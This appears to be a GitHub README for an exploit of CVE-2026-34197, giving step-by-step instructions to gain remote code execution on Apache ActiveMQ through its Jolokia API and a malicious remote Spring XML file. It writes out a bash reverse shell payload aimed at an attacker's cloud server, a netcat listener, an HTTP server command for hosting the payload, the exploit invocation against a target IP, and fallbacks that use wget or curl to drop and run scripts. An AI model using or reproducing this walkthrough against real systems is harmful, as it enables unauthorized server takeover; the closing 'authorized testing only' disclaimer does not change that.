xshysjhq/cve-2026-34197-payload-apache-activemq-Exploit script for CVE-2026-34197, targeting Apache ActiveMQ's Jolokia API to achieve remote code execution via malicious Spring XML configuration, with reverse shell capability.
This repository provides a remote code execution (RCE) vulnerability reproduction environment and exploitation script based on the exposed Jolokia API endpoint (/api/jolokia/) of Apache ActiveMQ.
By invoking the addNetworkConnector operation, it forces ActiveMQ to parse a maliciously crafted remote Spring XML configuration file, thereby leveraging MethodInvokingFactoryBean to execute system commands.
payload.py: The main exploitation script that sends HTTP POST requests with a dynamic Broker name.payload.xml: A malicious Spring Bean configuration file containing the reverse shell command payload.pip install requests
apache/activemq-classic:6.1.0 Docker image).payload.xml)Open payload.xml on the attacker machine and locate the following section:
<value>bash -c 'bash -i >& /dev/tcp/YourCloudServerIP/15000 0>&1'</value>
Replace the IP with your cloud server's public IP. If bash is not available in the target environment, change it to sh or another execution method depending on the target environment.
Open a terminal on the attacker machine (cloud server) and listen on the specified port (e.g., 15000):
nc -lvvp 15000
Note: Ensure that the cloud server's security group/firewall has allowed inbound TCP port 15000.
On the attacker machine (in the same directory as payload.xml), start an HTTP server so the target can download the XML file:
python3 -m http.server 9000
Note: Also ensure that the cloud server's security group/firewall has allowed inbound TCP port 9000.
Run payload.py on the local machine (or the attacker machine).
The script supports passing the target ActiveMQ's IP:port (-t) and the attacker machine's XML hosting IP:port (-a) via command-line arguments.
python payload.py -t 192.168.0.1:8161 -a 8.8.8.8:9000
After running, the script automatically generates a random brokerName (e.g., rce_a1b2c3) to completely resolve the name conflict error java.io.IOException : Network Connector could not be registered in JMX.
If the exploitation succeeds:
python3 -m http.server 9000) will show a GET 200 request log for /payload.xml.nc listener will receive a reverse shell connection from the target machine./bin/bash command (common in minimal base images like Alpine). Modify the execution command in payload.xml to /bin/sh, or use wget/curl to drop a script and then execute it.admin:admin).This script and documentation are intended solely for authorized security testing and educational purposes. Any unauthorized illegal testing is strictly prohibited. Users are responsible for their own actions.